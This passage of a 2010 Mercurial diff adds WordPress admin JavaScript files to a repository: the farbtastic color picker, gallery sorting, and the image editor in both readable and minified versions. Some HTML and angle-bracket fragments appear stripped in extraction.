+ var pos = { x: event.offsetX, y: event.offsetY }; + + // Send the coordinates upwards through the offsetParent chain. + var e = el; + while (e) { + e.mouseX = pos.x; + e.mouseY = pos.y; + pos.x += e.offsetLeft; + pos.y += e.offsetTop; + e = e.offsetParent; + } + + // Look for the coordinates starting from the wheel widget. + var e = reference; + var offset = { x: 0, y: 0 } + while (e) { + if (typeof e.mouseX != 'undefined') { + x = e.mouseX - offset.x; + y = e.mouseY - offset.y; + break; + } + offset.x += e.offsetLeft; + offset.y += e.offsetTop; + e = e.offsetParent; + } + + // Reset stored coordinates + e = el; + while (e) { + e.mouseX = undefined; + e.mouseY = undefined; + e = e.offsetParent; + } + } + else { + // Use absolute coordinates + var pos = fb.absolutePosition(reference); + x = (event.pageX || 0*(event.clientX + jQuery('html').get(0).scrollLeft)) - pos.x; + y = (event.pageY || 0*(event.clientY + jQuery('html').get(0).scrollTop)) - pos.y; + } + // Subtract distance to middle + return { x: x - fb.width / 2, y: y - fb.width / 2 }; + } + + /** + * Mousedown handler + */ + fb.mousedown = function (event) { + farbtastic_click = true; + // Capture mouse + if (!document.dragging) { + jQuery(document).bind('mousemove', fb.mousemove).bind('mouseup', fb.mouseup); + document.dragging = true; + } + + // Check which area is being dragged + var pos = fb.widgetCoords(event); + fb.circleDrag = Math.max(Math.abs(pos.x), Math.abs(pos.y)) * 2 > fb.square; + + // Process + fb.mousemove(event); + return false; + } + + /** + * Mousemove handler + */ + fb.mousemove = function (event) { + // Get coordinates relative to color picker center + var pos = fb.widgetCoords(event); + + // Set new HSL parameters + if (fb.circleDrag) { + var hue = Math.atan2(pos.x, -pos.y) / 6.28; + if (hue < 0) hue += 1; + fb.setHSL([hue, fb.hsl[1], fb.hsl[2]]); + } + else { + var sat = Math.max(0, Math.min(1, -(pos.x / fb.square) + .5)); + var lum = Math.max(0, Math.min(1, -(pos.y / fb.square) + .5)); + fb.setHSL([fb.hsl[0], sat, lum]); + } + return false; + } + + /** + * Mouseup handler + */ + fb.mouseup = function () { + // Uncapture mouse + farbtastic_click = false; + jQuery(document).unbind('mousemove', fb.mousemove); + jQuery(document).unbind('mouseup', fb.mouseup); + document.dragging = false; + } + + /** + * Update the markers and styles + */ + fb.updateDisplay = function () { + // Markers + var angle = fb.hsl[0] * 6.28; + jQuery('.h-marker', e).css({ + left: Math.round(Math.sin(angle) * fb.radius + fb.width / 2) + 'px', + top: Math.round(-Math.cos(angle) * fb.radius + fb.width / 2) + 'px' + }); + + jQuery('.sl-marker', e).css({ + left: Math.round(fb.square * (.5 - fb.hsl[1]) + fb.width / 2) + 'px', + top: Math.round(fb.square * (.5 - fb.hsl[2]) + fb.width / 2) + 'px' + }); + + // Saturation/Luminance gradient + jQuery('.color', e).css('backgroundColor', fb.pack(fb.HSLToRGB([fb.hsl[0], 1, 0.5]))); + + // Linked elements or callback + if (typeof fb.callback == 'object') { + // Set background/foreground color + jQuery(fb.callback).css({ + backgroundColor: fb.color, + color: fb.hsl[2] > 0.5 ? '#000' : '#fff' + }); + + // Change linked value + jQuery(fb.callback).each(function() { + if (this.value && this.value != fb.color) { + this.value = fb.color; + } + }); + } + else if (typeof fb.callback == 'function') { + fb.callback.call(fb, fb.color); + } + } + + /** + * Get absolute position of element + */ + fb.absolutePosition = function (el) { + var r = { x: el.offsetLeft, y: el.offsetTop }; + // Resolve relative to offsetParent + if (el.offsetParent) { + var tmp = fb.absolutePosition(el.offsetParent); + r.x += tmp.x; + r.y += tmp.y; + } + return r; + }; + + /* Various color utility functions */ + fb.pack = function (rgb) { + var r = Math.round(rgb[0] * 255); + var g = Math.round(rgb[1] * 255); + var b = Math.round(rgb[2] * 255); + return '#' + (r < 16 ? '0' : '') + r.toString(16) + + (g < 16 ? '0' : '') + g.toString(16) + + (b < 16 ? '0' : '') + b.toString(16); + } + + fb.unpack = function (color) { + if (color.length == 7) { + return [parseInt('0x' + color.substring(1, 3)) / 255, + parseInt('0x' + color.substring(3, 5)) / 255, + parseInt('0x' + color.substring(5, 7)) / 255]; + } + else if (color.length == 4) { + return [parseInt('0x' + color.substring(1, 2)) / 15, + parseInt('0x' + color.substring(2, 3)) / 15, + parseInt('0x' + color.substring(3, 4)) / 15]; + } + } + + fb.HSLToRGB = function (hsl) { + var m1, m2, r, g, b; + var h = hsl[0], s = hsl[1], l = hsl[2]; + m2 = (l <= 0.5) ? l * (s + 1) : l + s - l*s; + m1 = l * 2 - m2; + return [this.hueToRGB(m1, m2, h+0.33333), + this.hueToRGB(m1, m2, h), + this.hueToRGB(m1, m2, h-0.33333)]; + } + + fb.hueToRGB = function (m1, m2, h) { + h = (h < 0) ? h + 1 : ((h > 1) ? h - 1 : h); + if (h * 6 < 1) return m1 + (m2 - m1) * h * 6; + if (h * 2 < 1) return m2; + if (h * 3 < 2) return m1 + (m2 - m1) * (0.66666 - h) * 6; + return m1; + } + + fb.RGBToHSL = function (rgb) { + var min, max, delta, h, s, l; + var r = rgb[0], g = rgb[1], b = rgb[2]; + min = Math.min(r, Math.min(g, b)); + max = Math.max(r, Math.max(g, b)); + delta = max - min; + l = (min + max) / 2; + s = 0; + if (l > 0 && l < 1) { + s = delta / (l < 0.5 ? (2 * l) : (2 - 2 * l)); + } + h = 0; + if (delta > 0) { + if (max == r && max != g) h += (g - b) / delta; + if (max == g && max != b) h += (2 + (b - r) / delta); + if (max == b && max != r) h += (4 + (r - g) / delta); + h /= 6; + } + return [h, s, l]; + } + + // Install mousedown handler (the others are set on the document on-demand) + jQuery('*', e).mousedown(fb.mousedown); + + // Init color + fb.setColor('#000000'); + + // Set linked elements/callback + if (callback) { + fb.linkTo(callback); + } +} \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/js/gallery.dev.js --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/js/gallery.dev.js Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,205 @@ +jQuery(document).ready(function($) { + var gallerySortable, gallerySortableInit, w, desc = false; + + gallerySortableInit = function() { + gallerySortable = $('#media-items').sortable( { + items: 'div.media-item', + placeholder: 'sorthelper', + axis: 'y', + distance: 2, + handle: 'div.filename', + stop: function(e, ui) { + // When an update has occurred, adjust the order for each item + var all = $('#media-items').sortable('toArray'), len = all.length; + $.each(all, function(i, id) { + var order = desc ? (len - i) : (1 + i); + $('#' + id + ' .menu_order input').val(order); + }); + } + } ); + } + + sortIt = function() { + var all = $('.menu_order_input'), len = all.length; + all.each(function(i){ + var order = desc ? (len - i) : (1 + i); + $(this).val(order); + }); + } + + clearAll = function(c) { + c = c || 0; + $('.menu_order_input').each(function(){ + if ( this.value == '0' || c ) this.value = ''; + }); + } + + $('#asc').click(function(){desc = false; sortIt(); return false;}); + $('#desc').click(function(){desc = true; sortIt(); return false;}); + $('#clear').click(function(){clearAll(1); return false;}); + $('#showall').click(function(){ + $('#sort-buttons span a').toggle(); + $('a.describe-toggle-on').hide(); + $('a.describe-toggle-off, table.slidetoggle').show(); + return false; + }); + $('#hideall').click(function(){ + $('#sort-buttons span a').toggle(); + $('a.describe-toggle-on').show(); + $('a.describe-toggle-off, table.slidetoggle').hide(); + return false; + }); + + // initialize sortable + gallerySortableInit(); + clearAll(); + + if ( $('#media-items>*').length > 1 ) { + w = wpgallery.getWin(); + + $('#save-all, #gallery-settings').show(); + if ( typeof w.tinyMCE != 'undefined' && w.tinyMCE.activeEditor && ! w.tinyMCE.activeEditor.isHidden() ) { + wpgallery.mcemode = true; + wpgallery.init(); + } else { + $('#insert-gallery').show(); + } + } +}); + +jQuery(window).unload( function () { tinymce = tinyMCE = wpgallery = null; } ); // Cleanup + +/* gallery settings */ +var tinymce = null, tinyMCE, wpgallery; + +wpgallery = { + mcemode : false, + editor : {}, + dom : {}, + is_update : false, + el : {}, + + I : function(e) { + return document.getElementById(e); + }, + + init: function() { + var t = this, li, q, i, it, w = t.getWin(); + + if ( ! t.mcemode ) return; + + li = ('' + document.location.search).replace(/^\?/, '').split('&'); + q = {}; + for (i=0; i*").length>1){a=wpgallery.getWin();c("#save-all, #gallery-settings").show();if(typeof a.tinyMCE!="undefined"&&a.tinyMCE.activeEditor&&!a.tinyMCE.activeEditor.isHidden()){wpgallery.mcemode=true;wpgallery.init()}else{c("#insert-gallery").show()}}});jQuery(window).unload(function(){tinymce=tinyMCE=wpgallery=null});var tinymce=null,tinyMCE,wpgallery;wpgallery={mcemode:false,editor:{},dom:{},is_update:false,el:{},I:function(a){return document.getElementById(a)},init:function(){var d=this,a,f,c,e,b=d.getWin();if(!d.mcemode){return}a=(""+document.location.search).replace(/^\?/,"").split("&");f={};for(c=0;c this.hold['oh'] ) || ( w1 && w1 > this.hold['ow'] ) ) + warn.css('visibility', 'visible'); + else + warn.css('visibility', 'hidden'); + }, + + getSelRatio : function(postid) { + var x = this.hold['w'], y = this.hold['h'], + X = this.intval( $('#imgedit-crop-width-' + postid).val() ), + Y = this.intval( $('#imgedit-crop-height-' + postid).val() ); + + if ( X && Y ) + return X + ':' + Y; + + if ( x && y ) + return x + ':' + y; + + return '1:1'; + }, + + filterHistory : function(postid, setSize) { + // apply undo state to history + var history = $('#imgedit-history-' + postid).val(), pop, n, o, i, op = []; + + if ( history != '' ) { + history = JSON.parse(history); + pop = this.intval( $('#imgedit-undone-' + postid).val() ); + if ( pop > 0 ) { + while ( pop > 0 ) { + history.pop(); + pop--; + } + } + + if ( setSize ) { + if ( !history.length ) { + this.hold['w'] = this.hold['ow']; + this.hold['h'] = this.hold['oh']; + return ''; + } + + // restore + o = history[history.length - 1]; + o = o.c || o.r || o.f || false; + + if ( o ) { + this.hold['w'] = o.fw; + this.hold['h'] = o.fh; + } + } + + // filter the values + for ( n in history ) { + i = history[n]; + if ( i.hasOwnProperty('c') ) { + op[n] = { 'c': { 'x': i.c.x, 'y': i.c.y, 'w': i.c.w, 'h': i.c.h } }; + } else if ( i.hasOwnProperty('r') ) { + op[n] = { 'r': i.r.r }; + } else if ( i.hasOwnProperty('f') ) { + op[n] = { 'f': i.f.f }; + } + } + return JSON.stringify(op); + } + return ''; + }, + + refreshEditor : function(postid, nonce, callback) { + var t = this, data, img; + + t.toggleEditor(postid, 1); + data = { + 'action': 'imgedit-preview', + '_ajax_nonce': nonce, + 'postid': postid, + 'history': t.filterHistory(postid, 1), + 'rand': t.intval(Math.random() * 1000000) + }; + + img = $(''); + img.load( function() { + var max1, max2, parent = $('#imgedit-crop-' + postid), t = imageEdit; + + parent.empty().append(img); + + // w, h are the new full size dims + max1 = Math.max( t.hold.w, t.hold.h ); + max2 = Math.max( $(img).width(), $(img).height() ); + t.hold['sizer'] = max1 > max2 ? max2 / max1 : 1; + + t.initCrop(postid, img, parent); + t.setCropSelection(postid, 0); + + if ( (typeof callback != "unknown") && callback != null ) + callback(); + + if ( $('#imgedit-history-' + postid).val() && $('#imgedit-undone-' + postid).val() == 0 ) + $('input.imgedit-submit-btn', '#imgedit-panel-' + postid).removeAttr('disabled'); + else + $('input.imgedit-submit-btn', '#imgedit-panel-' + postid).attr('disabled', 'disabled'); + + t.toggleEditor(postid, 0); + }).attr('src', ajaxurl + '?' + $.param(data)); + }, + + action : function(postid, nonce, action) { + var t = this, data, w, h, fw, fh; + + if ( t.notsaved(postid) ) + return false; + + data = { + 'action': 'image-editor', + '_ajax_nonce': nonce, + 'postid': postid + }; + + if ( 'scale' == action ) { + w = $('#imgedit-scale-width-' + postid), + h = $('#imgedit-scale-height-' + postid), + fw = t.intval(w.val()), + fh = t.intval(h.val()); + + if ( fw < 1 ) { + w.focus(); + return false;; + } else if ( fh < 1 ) { + h.focus(); + return false;; + } + + if ( fw == t.hold.ow || fh == t.hold.oh ) + return false; + + data['do'] = 'scale'; + data['fwidth'] = fw; + data['fheight'] = fh; + } else if ( 'restore' == action ) { + data['do'] = 'restore'; + } else { + return false; + } + + t.toggleEditor(postid, 1); + $.post(ajaxurl, data, function(r) { + $('#image-editor-' + postid).empty().append(r); + t.toggleEditor(postid, 0); + }); + }, + + save : function(postid, nonce) { + var data, target = this.getTarget(postid), history = this.filterHistory(postid, 0); + + if ( '' == history ) + return false; + + this.toggleEditor(postid, 1); + data = { + 'action': 'image-editor', + '_ajax_nonce': nonce, + 'postid': postid, + 'history': history, + 'target': target, + 'do': 'save' + }; + + $.post(ajaxurl, data, function(r) { + var ret = JSON.parse(r); + + if ( ret.error ) { + $('#imgedit-response-' + postid).html('

    ' + ret.error + '

    '); + imageEdit.close(postid); + return; + } + + if ( ret.fw && ret.fh ) + $('#media-dims-' + postid).html( ret.fw + ' × ' + ret.fh ); + + if ( ret.thumbnail ) + $('.thumbnail', '#thumbnail-head-' + postid).attr('src', ''+ret.thumbnail); + + if ( ret.msg ) + $('#imgedit-response-' + postid).html('

    ' + ret.msg + '

    '); + + imageEdit.close(postid); + }); + }, + + open : function(postid, nonce) { + var data, elem = $('#image-editor-' + postid), head = $('#media-head-' + postid), + btn = $('#imgedit-open-btn-' + postid), spin = btn.siblings('img'); + + btn.attr('disabled', 'disabled'); + spin.css('visibility', 'visible'); + + data = { + 'action': 'image-editor', + '_ajax_nonce': nonce, + 'postid': postid, + 'do': 'open' + }; + + elem.load(ajaxurl, data, function() { + elem.fadeIn('fast'); + head.fadeOut('fast', function(){ + btn.removeAttr('disabled'); + spin.css('visibility', 'hidden'); + }); + }); + }, + + imgLoaded : function(postid) { + var img = $('#image-preview-' + postid), parent = $('#imgedit-crop-' + postid); + + this.initCrop(postid, img, parent); + this.setCropSelection(postid, 0); + this.toggleEditor(postid, 0); + }, + + initCrop : function(postid, image, parent) { + var t = this, selW = $('#imgedit-sel-width-' + postid), + selH = $('#imgedit-sel-height-' + postid); + + t.iasapi = $(image).imgAreaSelect({ + parent: parent, + instance: true, + handles: true, + keys: true, + minWidth: 3, + minHeight: 3, + + onInit: function(img, c) { + parent.children().mousedown(function(e){ + var ratio = false, sel, defRatio; + + if ( e.shiftKey ) { + sel = t.iasapi.getSelection(); + defRatio = t.getSelRatio(postid); + ratio = ( sel && sel.width && sel.height ) ? sel.width + ':' + sel.height : defRatio; + } + + t.iasapi.setOptions({ + aspectRatio: ratio + }); + }); + }, + + onSelectStart: function(img, c) { + imageEdit.setDisabled($('#imgedit-crop-sel-' + postid), 1); + }, + + onSelectEnd: function(img, c) { + imageEdit.setCropSelection(postid, c); + }, + + onSelectChange: function(img, c) { + var sizer = imageEdit.hold.sizer; + selW.val( imageEdit.round(c.width / sizer) ); + selH.val( imageEdit.round(c.height / sizer) ); + } + }); + }, + + setCropSelection : function(postid, c) { + var sel, min = $('#imgedit-minthumb-' + postid).val() || '128:128', + sizer = this.hold['sizer']; + min = min.split(':'); + c = c || 0; + + if ( !c || ( c.width < 3 && c.height < 3 ) ) { + this.setDisabled($('.imgedit-crop', '#imgedit-panel-' + postid), 0); + this.setDisabled($('#imgedit-crop-sel-' + postid), 0); + $('#imgedit-sel-width-' + postid).val(''); + $('#imgedit-sel-height-' + postid).val(''); + $('#imgedit-selection-' + postid).val(''); + return false; + } + + if ( c.width < (min[0] * sizer) && c.height < (min[1] * sizer) ) { + this.setDisabled($('.imgedit-crop', '#imgedit-panel-' + postid), 0); + $('#imgedit-selection-' + postid).val(''); + return false; + } + + sel = { 'x': c.x1, 'y': c.y1, 'w': c.width, 'h': c.height }; + this.setDisabled($('.imgedit-crop', '#imgedit-panel-' + postid), 1); + $('#imgedit-selection-' + postid).val( JSON.stringify(sel) ); + }, + + close : function(postid, warn) { + warn = warn || false; + + if ( warn && this.notsaved(postid) ) + return false; + + this.iasapi = {}; + this.hold = {}; + $('#image-editor-' + postid).fadeOut('fast', function() { + $('#media-head-' + postid).fadeIn('fast'); + $(this).empty(); + }); + }, + + notsaved : function(postid) { + var h = $('#imgedit-history-' + postid).val(), + history = (h != '') ? JSON.parse(h) : new Array(), + pop = this.intval( $('#imgedit-undone-' + postid).val() ); + + if ( pop < history.length ) { + if ( confirm( $('#imgedit-leaving-' + postid).html() ) ) + return false; + return true; + } + return false; + }, + + addStep : function(op, postid, nonce) { + var t = this, elem = $('#imgedit-history-' + postid), + history = (elem.val() != '') ? JSON.parse(elem.val()) : new Array(), + undone = $('#imgedit-undone-' + postid), + pop = t.intval(undone.val()); + + while ( pop > 0 ) { + history.pop(); + pop--; + } + undone.val(0); // reset + + history.push(op); + elem.val( JSON.stringify(history) ); + + t.refreshEditor(postid, nonce, function() { + t.setDisabled($('#image-undo-' + postid), true); + t.setDisabled($('#image-redo-' + postid), false); + }); + }, + + rotate : function(angle, postid, nonce, t) { + if ( $(t).hasClass('disabled') ) + return false; + + this.addStep({ 'r': { 'r': angle, 'fw': this.hold['h'], 'fh': this.hold['w'] }}, postid, nonce); + }, + + flip : function (axis, postid, nonce, t) { + if ( $(t).hasClass('disabled') ) + return false; + + this.addStep({ 'f': { 'f': axis, 'fw': this.hold['w'], 'fh': this.hold['h'] }}, postid, nonce); + }, + + crop : function (postid, nonce, t) { + var sel = $('#imgedit-selection-' + postid).val(), + w = this.intval( $('#imgedit-sel-width-' + postid).val() ), + h = this.intval( $('#imgedit-sel-height-' + postid).val() ); + + if ( $(t).hasClass('disabled') || sel == '' ) + return false; + + sel = JSON.parse(sel); + if ( sel.w > 0 && sel.h > 0 && w > 0 && h > 0 ) { + sel['fw'] = w; + sel['fh'] = h; + this.addStep({ 'c': sel }, postid, nonce); + } + }, + + undo : function (postid, nonce) { + var t = this, button = $('#image-undo-' + postid), elem = $('#imgedit-undone-' + postid), + pop = t.intval( elem.val() ) + 1; + + if ( button.hasClass('disabled') ) + return; + + elem.val(pop); + t.refreshEditor(postid, nonce, function() { + var elem = $('#imgedit-history-' + postid), + history = (elem.val() != '') ? JSON.parse(elem.val()) : new Array(); + + t.setDisabled($('#image-redo-' + postid), true); + t.setDisabled(button, pop < history.length); + }); + }, + + redo : function(postid, nonce) { + var t = this, button = $('#image-redo-' + postid), elem = $('#imgedit-undone-' + postid), + pop = t.intval( elem.val() ) - 1; + + if ( button.hasClass('disabled') ) + return; + + elem.val(pop); + t.refreshEditor(postid, nonce, function() { + t.setDisabled($('#image-undo-' + postid), true); + t.setDisabled(button, pop > 0); + }); + }, + + setNumSelection : function(postid) { + var sel, elX = $('#imgedit-sel-width-' + postid), elY = $('#imgedit-sel-height-' + postid), + x = this.intval( elX.val() ), y = this.intval( elY.val() ), + img = $('#image-preview-' + postid), imgh = img.height(), imgw = img.width(), + sizer = this.hold['sizer'], x1, y1, x2, y2, ias = this.iasapi; + + if ( x < 1 ) { + elX.val(''); + return false; + } + + if ( y < 1 ) { + elY.val(''); + return false; + } + + if ( x && y && ( sel = ias.getSelection() ) ) { + x2 = sel.x1 + Math.round( x * sizer ); + y2 = sel.y1 + Math.round( y * sizer ); + x1 = sel.x1; + y1 = sel.y1; + + if ( x2 > imgw ) { + x1 = 0; + x2 = imgw; + elX.val( Math.round( x2 / sizer ) ); + } + + if ( y2 > imgh ) { + y1 = 0; + y2 = imgh; + elY.val( Math.round( y2 / sizer ) ); + } + + ias.setSelection( x1, y1, x2, y2 ); + ias.update(); + this.setCropSelection(postid, ias.getSelection()); + } + }, + + round : function(num) { + var s; + num = Math.round(num); + + if ( this.hold.sizer > 0.6 ) + return num; + + s = num.toString().slice(-1); + + if ( '1' == s ) + return num - 1; + else if ( '9' == s ) + return num + 1; + + return num; + }, + + setRatioSelection : function(postid, n, el) { + var sel, r, x = this.intval( $('#imgedit-crop-width-' + postid).val() ), + y = this.intval( $('#imgedit-crop-height-' + postid).val() ), + h = $('#image-preview-' + postid).height(); + + if ( !this.intval( $(el).val() ) ) { + $(el).val(''); + return; + } + + if ( x && y ) { + this.iasapi.setOptions({ + aspectRatio: x + ':' + y + }); + + if ( sel = this.iasapi.getSelection(true) ) { + r = Math.ceil( sel.y1 + ((sel.x2 - sel.x1) / (x / y)) ); + + if ( r > h ) { + r = h; + if ( n ) + $('#imgedit-crop-height-' + postid).val(''); + else + $('#imgedit-crop-width-' + postid).val(''); + } + + this.iasapi.setSelection( sel.x1, sel.y1, sel.x2, r ); + this.iasapi.update(); + } + } + } +} +})(jQuery); diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/js/image-edit.js --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/js/image-edit.js Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,1 @@ +var imageEdit;(function(a){imageEdit={iasapi:{},hold:{},postid:"",intval:function(b){return b|0},setDisabled:function(c,b){if(b){c.removeClass("disabled");a("input",c).removeAttr("disabled")}else{c.addClass("disabled");a("input",c).attr("disabled","disabled")}},init:function(g,e){var d=this,c=a("#image-editor-"+d.postid),b=d.intval(a("#imgedit-x-"+g).val()),f=d.intval(a("#imgedit-y-"+g).val());if(d.postid!=g&&c.length){d.close(d.postid)}d.hold.w=d.hold.ow=b;d.hold.h=d.hold.oh=f;d.hold.xy_ratio=b/f;d.hold.sizer=parseFloat(a("#imgedit-sizer-"+g).val());d.postid=g;a("#imgedit-response-"+g).empty();a('input[type="text"]',"#imgedit-panel-"+g).keypress(function(i){var h=i.keyCode;if(36this.hold.oh)||(c&&c>this.hold.ow)){g.css("visibility","visible")}else{g.css("visibility","hidden")}},getSelRatio:function(f){var b=this.hold.w,e=this.hold.h,d=this.intval(a("#imgedit-crop-width-"+f).val()),c=this.intval(a("#imgedit-crop-height-"+f).val());if(d&&c){return d+":"+c}if(b&&e){return b+":"+e}return"1:1"},filterHistory:function(j,f){var d=a("#imgedit-history-"+j).val(),b,h,e,c,g=[];if(d!=""){d=JSON.parse(d);b=this.intval(a("#imgedit-undone-"+j).val());if(b>0){while(b>0){d.pop();b--}}if(f){if(!d.length){this.hold.w=this.hold.ow;this.hold.h=this.hold.oh;return""}e=d[d.length-1];e=e.c||e.r||e.f||false;if(e){this.hold.w=e.fw;this.hold.h=e.fh}}for(h in d){c=d[h];if(c.hasOwnProperty("c")){g[h]={c:{x:c.c.x,y:c.c.y,w:c.c.w,h:c.c.h}}}else{if(c.hasOwnProperty("r")){g[h]={r:c.r.r}}else{if(c.hasOwnProperty("f")){g[h]={f:c.f.f}}}}}return JSON.stringify(g)}return""},refreshEditor:function(g,d,f){var c=this,e,b;c.toggleEditor(g,1);e={action:"imgedit-preview",_ajax_nonce:d,postid:g,history:c.filterHistory(g,1),rand:c.intval(Math.random()*1000000)};b=a('');b.load(function(){var i,h,k=a("#imgedit-crop-"+g),j=imageEdit;k.empty().append(b);i=Math.max(j.hold.w,j.hold.h);h=Math.max(a(b).width(),a(b).height());j.hold.sizer=i>h?h/i:1;j.initCrop(g,b,k);j.setCropSelection(g,0);if((typeof f!="unknown")&&f!=null){f()}if(a("#imgedit-history-"+g).val()&&a("#imgedit-undone-"+g).val()==0){a("input.imgedit-submit-btn","#imgedit-panel-"+g).removeAttr("disabled")}else{a("input.imgedit-submit-btn","#imgedit-panel-"+g).attr("disabled","disabled")}j.toggleEditor(g,0)}).attr("src",ajaxurl+"?"+a.param(e))},action:function(b,g,c){var j=this,e,i,f,d,k;if(j.notsaved(b)){return false}e={action:"image-editor",_ajax_nonce:g,postid:b};if("scale"==c){i=a("#imgedit-scale-width-"+b),f=a("#imgedit-scale-height-"+b),d=j.intval(i.val()),k=j.intval(f.val());if(d<1){i.focus();return false}else{if(k<1){f.focus();return false}}if(d==j.hold.ow||k==j.hold.oh){return false}e["do"]="scale";e.fwidth=d;e.fheight=k}else{if("restore"==c){e["do"]="restore"}else{return false}}j.toggleEditor(b,1);a.post(ajaxurl,e,function(h){a("#image-editor-"+b).empty().append(h);j.toggleEditor(b,0)})},save:function(f,b){var c,e=this.getTarget(f),d=this.filterHistory(f,0);if(""==d){return false}this.toggleEditor(f,1);c={action:"image-editor",_ajax_nonce:b,postid:f,history:d,target:e,"do":"save"};a.post(ajaxurl,c,function(h){var g=JSON.parse(h);if(g.error){a("#imgedit-response-"+f).html('

    '+g.error+"

    ");imageEdit.close(f);return}if(g.fw&&g.fh){a("#media-dims-"+f).html(g.fw+" × "+g.fh)}if(g.thumbnail){a(".thumbnail","#thumbnail-head-"+f).attr("src",""+g.thumbnail)}if(g.msg){a("#imgedit-response-"+f).html('

    '+g.msg+"

    ")}imageEdit.close(f)})},open:function(h,d){var f,e=a("#image-editor-"+h),c=a("#media-head-"+h),b=a("#imgedit-open-btn-"+h),g=b.siblings("img");b.attr("disabled","disabled");g.css("visibility","visible");f={action:"image-editor",_ajax_nonce:d,postid:h,"do":"open"};e.load(ajaxurl,f,function(){e.fadeIn("fast");c.fadeOut("fast",function(){b.removeAttr("disabled");g.css("visibility","hidden")})})},imgLoaded:function(d){var b=a("#image-preview-"+d),c=a("#imgedit-crop-"+d);this.initCrop(d,b,c);this.setCropSelection(d,0);this.toggleEditor(d,0)},initCrop:function(g,e,c){var b=this,d=a("#imgedit-sel-width-"+g),f=a("#imgedit-sel-height-"+g);b.iasapi=a(e).imgAreaSelect({parent:c,instance:true,handles:true,keys:true,minWidth:3,minHeight:3,onInit:function(h,i){c.children().mousedown(function(m){var k=false,l,j;if(m.shiftKey){l=b.iasapi.getSelection();j=b.getSelRatio(g);k=(l&&l.width&&l.height)?l.width+":"+l.height:j}b.iasapi.setOptions({aspectRatio:k})})},onSelectStart:function(h,i){imageEdit.setDisabled(a("#imgedit-crop-sel-"+g),1)},onSelectEnd:function(h,i){imageEdit.setCropSelection(g,i)},onSelectChange:function(h,j){var i=imageEdit.hold.sizer;d.val(imageEdit.round(j.width/i));f.val(imageEdit.round(j.height/i))}})},setCropSelection:function(g,f){var e,b=a("#imgedit-minthumb-"+g).val()||"128:128",d=this.hold.sizer;b=b.split(":");f=f||0;if(!f||(f.width<3&&f.height<3)){this.setDisabled(a(".imgedit-crop","#imgedit-panel-"+g),0);this.setDisabled(a("#imgedit-crop-sel-"+g),0);a("#imgedit-sel-width-"+g).val("");a("#imgedit-sel-height-"+g).val("");a("#imgedit-selection-"+g).val("");return false}if(f.width<(b[0]*d)&&f.height<(b[1]*d)){this.setDisabled(a(".imgedit-crop","#imgedit-panel-"+g),0);a("#imgedit-selection-"+g).val("");return false}e={x:f.x1,y:f.y1,w:f.width,h:f.height};this.setDisabled(a(".imgedit-crop","#imgedit-panel-"+g),1);a("#imgedit-selection-"+g).val(JSON.stringify(e))},close:function(c,b){b=b||false;if(b&&this.notsaved(c)){return false}this.iasapi={};this.hold={};a("#image-editor-"+c).fadeOut("fast",function(){a("#media-head-"+c).fadeIn("fast");a(this).empty()})},notsaved:function(e){var c=a("#imgedit-history-"+e).val(),d=(c!="")?JSON.parse(c):new Array(),b=this.intval(a("#imgedit-undone-"+e).val());if(b0){g.pop();b--}f.val(0);g.push(i);e.val(JSON.stringify(g));c.refreshEditor(h,d,function(){c.setDisabled(a("#image-undo-"+h),true);c.setDisabled(a("#image-redo-"+h),false)})},rotate:function(d,e,c,b){if(a(b).hasClass("disabled")){return false}this.addStep({r:{r:d,fw:this.hold.h,fh:this.hold.w}},e,c)},flip:function(d,e,c,b){if(a(b).hasClass("disabled")){return false}this.addStep({f:{f:d,fw:this.hold.w,fh:this.hold.h}},e,c)},crop:function(g,e,c){var f=a("#imgedit-selection-"+g).val(),b=this.intval(a("#imgedit-sel-width-"+g).val()),d=this.intval(a("#imgedit-sel-height-"+g).val());if(a(c).hasClass("disabled")||f==""){return false}f=JSON.parse(f);if(f.w>0&&f.h>0&&b>0&&d>0){f.fw=b;f.fh=d;this.addStep({c:f},g,e)}},undo:function(g,e){var d=this,c=a("#image-undo-"+g),f=a("#imgedit-undone-"+g),b=d.intval(f.val())+1;if(c.hasClass("disabled")){return}f.val(b);d.refreshEditor(g,e,function(){var h=a("#imgedit-history-"+g),i=(h.val()!="")?JSON.parse(h.val()):new Array();d.setDisabled(a("#image-redo-"+g),true);d.setDisabled(c,b0)})},setNumSelection:function(c){var g,k=a("#imgedit-sel-width-"+c),j=a("#imgedit-sel-height-"+c),o=this.intval(k.val()),m=this.intval(j.val()),i=a("#image-preview-"+c),p=i.height(),h=i.width(),b=this.hold.sizer,f,n,e,l,d=this.iasapi;if(o<1){k.val("");return false}if(m<1){j.val("");return false}if(o&&m&&(g=d.getSelection())){e=g.x1+Math.round(o*b);l=g.y1+Math.round(m*b);f=g.x1;n=g.y1;if(e>h){f=0;e=h;k.val(Math.round(e/b))}if(l>p){n=0;l=p;j.val(Math.round(l/b))}d.setSelection(f,n,e,l);d.update();this.setCropSelection(c,d.getSelection())}},round:function(b){var c;b=Math.round(b);if(this.hold.sizer>0.6){return b}c=b.toString().slice(-1);if("1"==c){return b-1}else{if("9"==c){return b+1}}return b},setRatioSelection:function(j,i,d){var f,e,b=this.intval(a("#imgedit-crop-width-"+j).val()),g=this.intval(a("#imgedit-crop-height-"+j).val()),c=a("#image-preview-"+j).height();if(!this.intval(a(d).val())){a(d).val("");return}if(b&&g){this.iasapi.setOptions({aspectRatio:b+":"+g});if(f=this.iasapi.getSelection(true)){e=Math.ceil(f.y1+((f.x2-f.x1)/(b/g)));if(e>c){e=c;if(i){a("#imgedit-crop-height-"+j).val("")}else{a("#imgedit-crop-width-"+j).val("")}}this.iasapi.setSelection(f.x1,f.y1,f.x2,e);this.iasapi.update()}}}}})(jQuery); \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/js/inline-edit-post.dev.js --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/js/inline-edit-post.dev.js Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,260 @@ + +(function($) { +inlineEditPost = { + + init : function() { + var t = this, qeRow = $('#inline-edit'), bulkRow = $('#bulk-edit'); + + t.type = $('table.widefat').hasClass('page') ? 'page' : 'post'; + t.what = '#'+t.type+'-'; + + // prepare the 